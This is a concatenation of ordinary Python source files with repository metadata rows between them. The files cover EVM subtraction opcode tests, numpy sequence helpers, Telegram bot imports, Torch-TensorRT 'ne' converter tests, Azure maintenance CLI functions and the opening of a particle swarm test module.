header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(6089590155545428825848686802984512581899718912)
new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [3618502788666131106986593281515407530259141591975418939430064987665385582351])
def test_SUB_78(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(6089590155545428825848686802984512581899718912)
new_vm._push(16)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921040])
def test_SUB_79(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(6089590155545428825848686802984512581899718912)
new_vm._push(32)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921056])
def test_SUB_80(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(6089590155545428825848686802984512581899718912)
new_vm._push(48)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921072])
def test_SUB_81(self):
#Make the constraint store
constraints = ConstraintSet()
#make the ethereum world state
world = evm.EVMWorld(constraints)
address=0x222222222222222222222222222222222222200
caller=origin=0x111111111111111111111111111111111111100
price=0
value=10000
bytecode='\x03'
data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
header = { 'coinbase': 0,
'timestamp': 0,
'number': 0,
'difficulty': 0,
'gaslimit': 0,
}
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(6089590155545428825848686802984512581899718912)
new_vm._push(6089590155545428825848686802984512581899718912)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
if __name__ == '__main__':
unittest.main()
| 41.948418
| 124
| 0.571656
| 7,645
| 96,775
| 7.084369
| 0.028515
| 0.045052
| 0.02692
| 0.059823
| 0.906388
| 0.906388
| 0.906388
| 0.906388
| 0.906388
| 0.906388
| 0
| 0.283507
| 0.353996
| 96,775
| 2,306
| 125
| 41.966609
| 0.582817
| 0.045198
| 0
| 0.866561
| 0
| 0
| 0.066502
| 0.026345
| 0
| 0
| 0.072009
| 0
| 0.128165
| 1
| 0.043249
| false
| 0
| 0.003692
| 0
| 0.049051
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
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| 0
| 0
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| null | 0
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| 0
| 0
|
0
| 8
|
b6055b7e531b76dd952cda0f31feb996d588f125
| 9,162
|
py
|
Python
|
Pyrado/pyrado/sampling/sequences.py
|
jacarvalho/SimuRLacra
|
a6c982862e2ab39a9f65d1c09aa59d9a8b7ac6c5
|
[
"BSD-3-Clause"
] | null | null | null |
Pyrado/pyrado/sampling/sequences.py
|
jacarvalho/SimuRLacra
|
a6c982862e2ab39a9f65d1c09aa59d9a8b7ac6c5
|
[
"BSD-3-Clause"
] | null | null | null |
Pyrado/pyrado/sampling/sequences.py
|
jacarvalho/SimuRLacra
|
a6c982862e2ab39a9f65d1c09aa59d9a8b7ac6c5
|
[
"BSD-3-Clause"
] | null | null | null |
import numpy as np
def sequence_const(x_init, iter, dtype=int):
"""
Mathematical sequence: x_n = x_0
:param x_init: constant values of the sequence
:param iter: iteration until the sequence should be evaluated
:param dtype: data type to cast to (either int of float)
:return: element at the given iteration and array of the whole sequence
"""
assert isinstance(x_init, (int, float, np.ndarray))
assert isinstance(iter, int) and iter >= 0
assert dtype == int or dtype == float
if isinstance(x_init, np.ndarray):
dim = len(x_init)
else:
dim = 1
if iter > 0:
x_seq = np.zeros((iter + 1, dim))
x_seq[0, :] = x_init
for i in range(1, iter + 1):
# Fill all entries with the same value
x_seq[i, :] = x_init
# Return and type casting
if dim == 1:
# If x is not a np.ndarray, the last element of the sequence should also not be a np.ndarray
return dtype(x_seq[-1, :]), x_seq.astype(dtype)
elif dim > 1:
return x_seq[-1, :].astype(dtype), x_seq.astype(dtype)
elif iter == 0:
if isinstance(x_init, np.ndarray):
return x_init.copy().T, x_init.copy().T
else:
return x_init, x_init
def sequence_plus_one(x_init, iter, dtype=int):
"""
Mathematical sequence: x_n = x_0 + n
:param x_init: initial values of the sequence
:param iter: iteration until the sequence should be evaluated
:param dtype: data type to cast to (either int of float)
:return: element at the given iteration and array of the whole sequence
"""
assert isinstance(x_init, (int, float, np.ndarray))
assert isinstance(iter, int) and iter >= 0
assert dtype == int or dtype == float
if isinstance(x_init, np.ndarray):
dim = len(x_init)
else:
dim = 1
if iter > 0:
x_seq = np.zeros((iter + 1, dim))
x_seq[0, :] = x_init
for i in range(1, iter + 1):
# non-exponential growth
x_seq[i, :] = x_seq[0, :] + i
# Return and type casting
if dim == 1:
# If x is not a np.ndarray, the last element of the sequence should also not be a np.ndarray
return dtype(x_seq[-1, :]), x_seq.astype(dtype)
elif dim > 1:
return x_seq[-1, :].astype(dtype), x_seq.astype(dtype)
elif iter == 0:
if isinstance(x_init, np.ndarray):
return x_init.copy().T, x_init.copy().T
else:
return x_init, x_init
def sequence_add_init(x_init, iter, dtype=int):
"""
Mathematical sequence: x_n = x_0 * n
:param x_init: initial values of the sequence
:param iter: iteration until the sequence should be evaluated
:param dtype: data type to cast to (either int of float)
:return: element at the given iteration and array of the whole sequence
"""
assert isinstance(x_init, (int, float, np.ndarray))
assert isinstance(iter, int) and iter >= 0
assert dtype == int or dtype == float
if isinstance(x_init, np.ndarray):
dim = len(x_init)
else:
dim = 1
if iter > 0:
x_seq = np.zeros((iter + 1, dim))
x_seq[0, :] = x_init
for i in range(1, iter + 1):
# non-exponential growth
x_seq[i, :] = x_seq[0, :] * (i + 1)
# Return and type casting
if dim == 1:
# If x is not a np.ndarray, the last element of the sequence should also not be a np.ndarray
return dtype(x_seq[-1, :]), x_seq.astype(dtype)
elif dim > 1:
return x_seq[-1, :].astype(dtype), x_seq.astype(dtype)
elif iter == 0:
if isinstance(x_init, np.ndarray):
return x_init.copy().T, x_init.copy().T
else:
return x_init, x_init
def sequence_rec_double(x_init, iter, dtype=int):
"""
Mathematical sequence: x_n = x_{n-1} * 2
:param x_init: initial values of the sequence
:param iter: iteration until the sequence should be evaluated
:param dtype: data type to cast to (either int of float)
:return: element at the given iteration and array of the whole sequence
"""
assert isinstance(x_init, (int, float, np.ndarray))
assert isinstance(iter, int) and iter >= 0
assert dtype == int or dtype == float
if isinstance(x_init, np.ndarray):
dim = len(x_init)
else:
dim = 1
if iter > 0:
x_seq = np.zeros((iter + 1, dim))
x_seq[0, :] = x_init
for i in range(1, iter + 1):
# exponential growth
x_seq[i, :] = x_seq[i - 1, :] * 2.
# Return and type casting
if dim == 1:
# If x is not a np.ndarray, the last element of the sequence should also not be a np.ndarray
return dtype(x_seq[-1, :]), x_seq.astype(dtype)
elif dim > 1:
return x_seq[-1, :].astype(dtype), x_seq.astype(dtype)
elif iter == 0:
if isinstance(x_init, np.ndarray):
return x_init.copy().T, x_init.copy().T
else:
return x_init, x_init
def sequence_sqrt(x_init, iter, dtype=int):
"""
Mathematical sequence: x_n = x_0 * sqrt(n)
:param x_init: initial values of the sequence
:param iter: iteration until the sequence should be evaluated
:param dtype: data type to cast to (either int of float)
:return: element at the given iteration and array of the whole sequence
"""
assert isinstance(x_init, (int, float, np.ndarray))
assert isinstance(iter, int) and iter >= 0
assert dtype == int or dtype == float
if isinstance(x_init, np.ndarray):
dim = len(x_init)
else:
dim = 1
if iter > 0:
x_seq = np.zeros((iter + 1, dim))
x_seq[0, :] = x_init
for i in range(1, iter + 1):
# non-exponential growth
x_seq[i, :] = x_seq[0, :] * np.sqrt(i + 1) # i+1 because sqrt(1) = 1
# Return and type casting
if dim == 1:
# If x is not a np.ndarray, the last element of the sequence should also not be a np.ndarray
return dtype(x_seq[-1, :]), x_seq.astype(dtype)
elif dim > 1:
return x_seq[-1, :].astype(dtype), x_seq.astype(dtype)
elif iter == 0:
if isinstance(x_init, np.ndarray):
return x_init.copy().T, x_init.copy().T
else:
return x_init, x_init
def sequence_rec_sqrt(x_init, iter, dtype=int):
"""
Mathematical sequence: x_n = x_{n-1} * sqrt(n)
:param x_init: initial values of the sequence
:param iter: iteration until the sequence should be evaluated
:param dtype: data type to cast to (either int of float)
:return: element at the given iteration and array of the whole sequence
"""
assert isinstance(x_init, (int, float, np.ndarray))
assert isinstance(iter, int) and iter >= 0
assert dtype == int or dtype == float
if isinstance(x_init, np.ndarray):
dim = len(x_init)
else:
dim = 1
if iter > 0:
x_seq = np.zeros((iter + 1, dim))
x_seq[0, :] = x_init
for i in range(1, iter + 1):
# exponential growth
x_seq[i, :] = x_seq[i - 1, :] * np.sqrt(i + 1) # i+1 because sqrt(1) = 1
# Return and type casting
if dim == 1:
# If x is not a np.ndarray, the last element of the sequence should also not be a np.ndarray
return dtype(x_seq[-1, :]), x_seq.astype(dtype)
elif dim > 1:
return x_seq[-1, :].astype(dtype), x_seq.astype(dtype)
elif iter == 0:
if isinstance(x_init, np.ndarray):
return x_init.copy().T, x_init.copy().T
else:
return x_init, x_init
def sequence_nlog2(x_init, iter, dtype=int):
"""
Mathematical sequence: x_n = x_0 * n * log2(n+2), with log2 being the base 2 logarithm
:param x_init: initial values of the sequence
:param iter: iteration until the sequence should be evaluated
:param dtype: data type to cast to (either int of float)
:return: element at the given iteration and array of the whole sequence
"""
assert isinstance(x_init, (int, float, np.ndarray))
assert isinstance(iter, int) and iter >= 0
assert dtype == int or dtype == float
if isinstance(x_init, np.ndarray):
dim = len(x_init)
else:
dim = 1
if iter > 0:
x_seq = np.zeros((iter + 1, dim))
x_seq[0, :] = x_init
for i in range(1, iter + 1):
# non-exponential growth
x_seq[i, :] = x_seq[0, :] * i * np.log2(i + 2) # i+2 because log2(1) = 0 and log2(2) = 1
# Return and type casting
if dim == 1:
# If x is not a np.ndarray, the last element of the sequence should also not be a np.ndarray
return dtype(x_seq[-1, :]), x_seq.astype(dtype)
elif dim > 1:
return x_seq[-1, :].astype(dtype), x_seq.astype(dtype)
elif iter == 0:
if isinstance(x_init, np.ndarray):
return x_init.copy().T, x_init.copy().T
else:
return x_init, x_init
| 34.186567
| 104
| 0.585462
| 1,414
| 9,162
| 3.681754
| 0.06082
| 0.074914
| 0.060507
| 0.045716
| 0.964848
| 0.964848
| 0.964848
| 0.964848
| 0.964848
| 0.964848
| 0
| 0.019185
| 0.305938
| 9,162
| 267
| 105
| 34.314607
| 0.799497
| 0.333115
| 0
| 0.903226
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.135484
| 1
| 0.045161
| false
| 0
| 0.006452
| 0
| 0.232258
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
37a4f05fcbafa02d809c9e1746d391d85749456e
| 306
|
py
|
Python
|
bot/platforms/telegram/commands/settings/__init__.py
|
AiratK/kaishnik-bot
|
c42351611a40a04d78c8ae481b97339adbd321e5
|
[
"MIT"
] | 15
|
2019-04-30T14:37:15.000Z
|
2022-02-09T06:43:00.000Z
|
bot/platforms/telegram/commands/settings/__init__.py
|
AiratK/kaishnik-bot
|
c42351611a40a04d78c8ae481b97339adbd321e5
|
[
"MIT"
] | 4
|
2019-03-18T06:09:38.000Z
|
2021-12-10T06:12:26.000Z
|
bot/platforms/telegram/commands/settings/__init__.py
|
AiratK/kaishnik-bot
|
c42351611a40a04d78c8ae481b97339adbd321e5
|
[
"MIT"
] | 2
|
2020-04-12T10:31:52.000Z
|
2021-06-07T20:18:08.000Z
|
from bot.platforms.telegram.commands.settings import menu
from bot.platforms.telegram.commands.settings import appearance
from bot.platforms.telegram.commands.settings import platform
from bot.platforms.telegram.commands.settings import deletion
from bot.platforms.telegram.commands.settings import guard
| 43.714286
| 63
| 0.866013
| 40
| 306
| 6.625
| 0.3
| 0.132075
| 0.301887
| 0.45283
| 0.867925
| 0.867925
| 0.867925
| 0
| 0
| 0
| 0
| 0
| 0.068627
| 306
| 6
| 64
| 51
| 0.929825
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 9
|
37b2432e72f68aa16bd9f16cad6c6beb266449c9
| 6,594
|
py
|
Python
|
py/torch_tensorrt/fx/test/converters/acc_op/test_ne.py
|
hassan11196/Torch-TensorRT
|
a2d0d0e935bf223523a7c28d7814cdbd32f323b2
|
[
"BSD-3-Clause"
] | null | null | null |
py/torch_tensorrt/fx/test/converters/acc_op/test_ne.py
|
hassan11196/Torch-TensorRT
|
a2d0d0e935bf223523a7c28d7814cdbd32f323b2
|
[
"BSD-3-Clause"
] | 1
|
2022-03-15T06:35:59.000Z
|
2022-03-15T06:35:59.000Z
|
py/torch_tensorrt/fx/test/converters/acc_op/test_ne.py
|
hassan11196/Torch-TensorRT
|
a2d0d0e935bf223523a7c28d7814cdbd32f323b2
|
[
"BSD-3-Clause"
] | null | null | null |
import torch
import torch_tensorrt.fx.tracer.acc_tracer.acc_ops as acc_ops
from parameterized import parameterized
from torch.testing._internal.common_fx2trt import AccTestCase
from torch.testing._internal.common_utils import run_tests
class TestNeFunctionConverter(AccTestCase):
@parameterized.expand(
[
("rand_2d_float_bool", torch.randn(3, 4), torch.randn(3, 4).to(torch.bool)),
(
"rand_2d_int_bool",
torch.randn(3, 4).to(torch.int),
torch.randn(3, 4).to(torch.bool),
),
(
"rand_2d_bool_bool",
torch.randn(3, 4).to(torch.bool),
torch.randn(3, 4).to(torch.bool),
),
(
"rand_2d_float_int",
torch.randn(3, 4).to(torch.float),
torch.randn(3, 4).to(torch.int),
),
(
"rand_2d_float_single_bool",
torch.randn(3, 4),
torch.tensor(0).to(torch.bool),
),
(
"rand_2d_int_single_bool",
torch.randn(3, 4).to(torch.int),
torch.tensor(0).to(torch.bool),
),
(
"rand_2d_bool_single_bool",
torch.randn(3, 4).to(torch.bool),
torch.tensor(0).to(torch.bool),
),
]
)
def test_ne(self, _, input, other):
class Ne(torch.nn.Module):
def forward(self, x, y):
return torch.ne(x, y)
inputs = [
input,
other,
]
self.run_test(
Ne(), inputs, expected_ops={acc_ops.ne}, test_implicit_batch_dim=False
)
class TestNeMethodConverter(AccTestCase):
@parameterized.expand(
[
("rand_2d_float_bool", torch.randn(3, 4), torch.randn(3, 4).to(torch.bool)),
(
"rand_2d_int_bool",
torch.randn(3, 4).to(torch.int),
torch.randn(3, 4).to(torch.bool),
),
(
"rand_2d_bool_bool",
torch.randn(3, 4).to(torch.bool),
torch.randn(3, 4).to(torch.bool),
),
(
"rand_2d_float_int",
torch.randn(3, 4).to(torch.float),
torch.randn(3, 4).to(torch.int),
),
(
"rand_2d_float_single_bool",
torch.randn(3, 4),
torch.tensor(0).to(torch.bool),
),
(
"rand_2d_int_single_bool",
torch.randn(3, 4).to(torch.int),
torch.tensor(0).to(torch.bool),
),
(
"rand_2d_bool_single_bool",
torch.randn(3, 4).to(torch.bool),
torch.tensor(0).to(torch.bool),
),
]
)
def test_ne(self, _, input, other):
class Ne(torch.nn.Module):
def forward(self, x, y):
return x.ne(y)
inputs = [
input,
other,
]
self.run_test(
Ne(), inputs, expected_ops={acc_ops.ne}, test_implicit_batch_dim=False
)
class TestNeOperatorConverter(AccTestCase):
@parameterized.expand(
[
("rand_2d_float_bool", torch.randn(3, 4), torch.randn(3, 4).to(torch.bool)),
(
"rand_2d_int_bool",
torch.randn(3, 4).to(torch.int),
torch.randn(3, 4).to(torch.bool),
),
(
"rand_2d_bool_bool",
torch.randn(3, 4).to(torch.bool),
torch.randn(3, 4).to(torch.bool),
),
(
"rand_2d_float_int",
torch.randn(3, 4).to(torch.float),
torch.randn(3, 4).to(torch.int),
),
(
"rand_2d_float_single_bool",
torch.randn(3, 4),
torch.tensor(0).to(torch.bool),
),
(
"rand_2d_int_single_bool",
torch.randn(3, 4).to(torch.int),
torch.tensor(0).to(torch.bool),
),
(
"rand_2d_bool_single_bool",
torch.randn(3, 4).to(torch.bool),
torch.tensor(0).to(torch.bool),
),
]
)
def test_ne(self, _, input, other):
class Ne(torch.nn.Module):
def forward(self, x, y):
return x != y
inputs = [
input,
other,
]
self.run_test(
Ne(), inputs, expected_ops={acc_ops.ne}, test_implicit_batch_dim=False
)
class TestNeOperatorConstantConverter(AccTestCase):
@parameterized.expand(
[
("rand_2d_float_bool", torch.randn(3, 4), torch.randn(3, 4).to(torch.bool)),
(
"rand_2d_int_bool",
torch.randn(3, 4).to(torch.int),
torch.randn(3, 4).to(torch.bool),
),
(
"rand_2d_bool_bool",
torch.randn(3, 4).to(torch.bool),
torch.randn(3, 4).to(torch.bool),
),
(
"rand_2d_float_int",
torch.randn(3, 4).to(torch.float),
torch.randn(3, 4).to(torch.int),
),
("rand_2d_float_single_bool", torch.randn(3, 4), False),
("rand_2d_int_single_bool", torch.randn(3, 4).to(torch.int), False),
("rand_2d_bool_single_bool", torch.randn(3, 4).to(torch.bool), False),
]
)
def test_ne(self, _, input, other):
class Ne(torch.nn.Module):
def __init__(self):
super().__init__()
self.other = other
def forward(self, x):
return x != self.other
inputs = [
input,
]
self.run_test(
Ne(), inputs, expected_ops={acc_ops.ne}, test_implicit_batch_dim=False
)
class TestConstInputConverter(AccTestCase):
def test_ne(self):
class Ne(torch.nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return x.shape[0] != 4
input = torch.randn(3, 4)
inputs = [
input,
]
self.run_test(
Ne(), inputs, expected_ops={acc_ops.ne}, test_implicit_batch_dim=False
)
if __name__ == "__main__":
run_tests()
| 30.109589
| 88
| 0.46512
| 731
| 6,594
| 3.964432
| 0.083447
| 0.15528
| 0.170807
| 0.186335
| 0.869565
| 0.848861
| 0.833678
| 0.833678
| 0.833678
| 0.833678
| 0
| 0.033113
| 0.40461
| 6,594
| 218
| 89
| 30.247706
| 0.705043
| 0
| 0
| 0.668342
| 0
| 0
| 0.086139
| 0.043676
| 0
| 0
| 0
| 0
| 0
| 1
| 0.060302
| false
| 0
| 0.025126
| 0.025126
| 0.160804
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
37c5c5073ce7a6ff0059456f915d9d030704ca6e
| 15,239
|
py
|
Python
|
src/maintenance/azext_maintenance/generated/custom.py
|
Mannan2812/azure-cli-extensions
|
e2b34efe23795f6db9c59100534a40f0813c3d95
|
[
"MIT"
] | 2
|
2021-06-05T17:51:26.000Z
|
2021-11-17T11:17:56.000Z
|
src/maintenance/azext_maintenance/generated/custom.py
|
Mannan2812/azure-cli-extensions
|
e2b34efe23795f6db9c59100534a40f0813c3d95
|
[
"MIT"
] | 3
|
2020-05-27T20:16:26.000Z
|
2020-07-23T19:46:49.000Z
|
src/maintenance/azext_maintenance/generated/custom.py
|
Mannan2812/azure-cli-extensions
|
e2b34efe23795f6db9c59100534a40f0813c3d95
|
[
"MIT"
] | 5
|
2020-05-09T17:47:09.000Z
|
2020-10-01T19:52:06.000Z
|
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
# pylint: disable=line-too-long
# pylint: disable=too-many-lines
def maintenance_public_configuration_list(client):
return client.list()
def maintenance_public_configuration_show(client,
resource_name):
return client.get(resource_name=resource_name)
def maintenance_applyupdate_show(client,
resource_group_name,
provider_name,
resource_type,
resource_name,
apply_update_name):
return client.get(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_type=resource_type,
resource_name=resource_name,
apply_update_name=apply_update_name)
def maintenance_applyupdate_create(client,
resource_group_name,
provider_name,
resource_type,
resource_name,
resource_parent_type=None,
resource_parent_name=None):
if resource_group_name and all(v is not None for v in [provider_name, resource_parent_type, resource_parent_name, resource_type, resource_name]):
return client.create_or_update_parent(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_parent_type=resource_parent_type,
resource_parent_name=resource_parent_name,
resource_type=resource_type,
resource_name=resource_name)
return client.create_or_update(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_type=resource_type,
resource_name=resource_name)
def maintenance_applyupdate_update(client,
resource_group_name,
provider_name,
resource_type,
resource_name):
return client.create_or_update(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_type=resource_type,
resource_name=resource_name)
def maintenance_applyupdate_get_parent(client,
resource_group_name,
resource_parent_type,
resource_parent_name,
provider_name,
resource_type,
resource_name,
apply_update_name):
return client.get_parent(resource_group_name=resource_group_name,
resource_parent_type=resource_parent_type,
resource_parent_name=resource_parent_name,
provider_name=provider_name,
resource_type=resource_type,
resource_name=resource_name,
apply_update_name=apply_update_name)
def maintenance_assignment_list(client,
resource_group_name,
provider_name,
resource_type,
resource_name):
return client.list(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_type=resource_type,
resource_name=resource_name)
def maintenance_assignment_create(client,
resource_group_name,
provider_name,
resource_type,
resource_name,
configuration_assignment_name,
resource_parent_type=None,
resource_parent_name=None,
location=None,
maintenance_configuration_id=None,
resource_id=None):
if resource_group_name and all(v is not None for v in [provider_name, resource_parent_type, resource_parent_name, resource_type, resource_name, configuration_assignment_name]):
return client.create_or_update_parent(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_parent_type=resource_parent_type,
resource_parent_name=resource_parent_name,
resource_type=resource_type,
resource_name=resource_name,
configuration_assignment_name=configuration_assignment_name,
location=location,
maintenance_configuration_id=maintenance_configuration_id,
resource_id=resource_id)
return client.create_or_update(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_type=resource_type,
resource_name=resource_name,
configuration_assignment_name=configuration_assignment_name,
location=location,
maintenance_configuration_id=maintenance_configuration_id,
resource_id=resource_id)
def maintenance_assignment_update(client,
resource_group_name,
provider_name,
resource_type,
resource_name,
configuration_assignment_name,
location=None,
maintenance_configuration_id=None,
resource_id=None):
return client.create_or_update(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_type=resource_type,
resource_name=resource_name,
configuration_assignment_name=configuration_assignment_name,
location=location,
maintenance_configuration_id=maintenance_configuration_id,
resource_id=resource_id)
def maintenance_assignment_delete(client,
resource_group_name,
provider_name,
resource_type,
resource_name,
configuration_assignment_name,
resource_parent_type=None,
resource_parent_name=None):
if resource_group_name and all(v is not None for v in [provider_name, resource_parent_type, resource_parent_name, resource_type, resource_name, configuration_assignment_name]):
return client.delete_parent(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_parent_type=resource_parent_type,
resource_parent_name=resource_parent_name,
resource_type=resource_type,
resource_name=resource_name,
configuration_assignment_name=configuration_assignment_name)
return client.delete(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_type=resource_type,
resource_name=resource_name,
configuration_assignment_name=configuration_assignment_name)
def maintenance_assignment_list_parent(client,
resource_group_name,
provider_name,
resource_parent_type,
resource_parent_name,
resource_type,
resource_name):
return client.list_parent(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_parent_type=resource_parent_type,
resource_parent_name=resource_parent_name,
resource_type=resource_type,
resource_name=resource_name)
def maintenance_configuration_list(client):
return client.list()
def maintenance_configuration_show(client,
resource_group_name,
resource_name):
return client.get(resource_group_name=resource_group_name,
resource_name=resource_name)
def maintenance_configuration_create(client,
resource_group_name,
resource_name,
location=None,
tags=None,
namespace=None,
extension_properties=None,
maintenance_scope=None,
visibility=None,
maintenance_window_start_date_time=None,
maintenance_window_expiration_date_time=None,
maintenance_window_duration=None,
maintenance_window_time_zone=None,
maintenance_window_recur_every=None):
return client.create_or_update(resource_group_name=resource_group_name,
resource_name=resource_name,
location=location,
tags=tags,
namespace=namespace,
extension_properties=extension_properties,
maintenance_scope=maintenance_scope,
visibility=visibility,
start_date_time=maintenance_window_start_date_time,
expiration_date_time=maintenance_window_expiration_date_time,
duration=maintenance_window_duration,
time_zone=maintenance_window_time_zone,
recur_every=maintenance_window_recur_every)
def maintenance_configuration_update(client,
resource_group_name,
resource_name,
location=None,
tags=None,
namespace=None,
extension_properties=None,
maintenance_scope=None,
visibility=None,
maintenance_window_start_date_time=None,
maintenance_window_expiration_date_time=None,
maintenance_window_duration=None,
maintenance_window_time_zone=None,
maintenance_window_recur_every=None):
return client.update(resource_group_name=resource_group_name,
resource_name=resource_name,
location=location,
tags=tags,
namespace=namespace,
extension_properties=extension_properties,
maintenance_scope=maintenance_scope,
visibility=visibility,
start_date_time=maintenance_window_start_date_time,
expiration_date_time=maintenance_window_expiration_date_time,
duration=maintenance_window_duration,
time_zone=maintenance_window_time_zone,
recur_every=maintenance_window_recur_every)
def maintenance_configuration_delete(client,
resource_group_name,
resource_name):
return client.delete(resource_group_name=resource_group_name,
resource_name=resource_name)
def maintenance_update_list(client,
resource_group_name,
provider_name,
resource_type,
resource_name):
return client.list(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_type=resource_type,
resource_name=resource_name)
def maintenance_update_list_parent(client,
resource_group_name,
provider_name,
resource_parent_type,
resource_parent_name,
resource_type,
resource_name):
return client.list_parent(resource_group_name=resource_group_name,
provider_name=provider_name,
resource_parent_type=resource_parent_type,
resource_parent_name=resource_parent_name,
resource_type=resource_type,
resource_name=resource_name)
| 53.658451
| 180
| 0.489008
| 1,131
| 15,239
| 6.104332
| 0.076039
| 0.163384
| 0.132966
| 0.097335
| 0.946263
| 0.934965
| 0.931054
| 0.917874
| 0.882822
| 0.867758
| 0
| 0
| 0.467222
| 15,239
| 283
| 181
| 53.848057
| 0.850351
| 0.032811
| 0
| 0.898305
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.076271
| false
| 0
| 0
| 0.063559
| 0.165254
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
03c9cf10a7051dc908b4b08e2048f71ade6b090c
| 11,806
|
py
|
Python
|
WeOptPy/tests/test_pso.py
|
kb2623/WeOptPy
|
2e9e75acf8fedde0ae4c99da6c786a712d4f011c
|
[
"MIT"
] | 1
|
2021-05-12T10:02:21.000Z
|
2021-05-12T10:02:21.000Z
|
WeOptPy/tests/test_pso.py
|
kb2623/WeOptPy
|
2e9e75acf8fedde0ae4c99da6c786a712d4f011c
|
[
"MIT"
] | null | null | null |
WeOptPy/tests/test_pso.py
|
kb2623/WeOptPy
|
2e9e75acf8fedde0ae4c99da6c786a712d4f011c
|
[
"MIT"
] | null | null | null |
# encoding=utf8
"""Particle swarm algorithm test case module."""
from WeOptPy.algorithms import (
ParticleSwarmOptimization,
ParticleSwarmAlgorithm,
OppositionVelocityClampingParticleSwarmOptimization,
CenterParticleSwarmOptimization,
MutatedParticleSwarmOptimization,
MutatedCenterParticleSwarmOptimization,
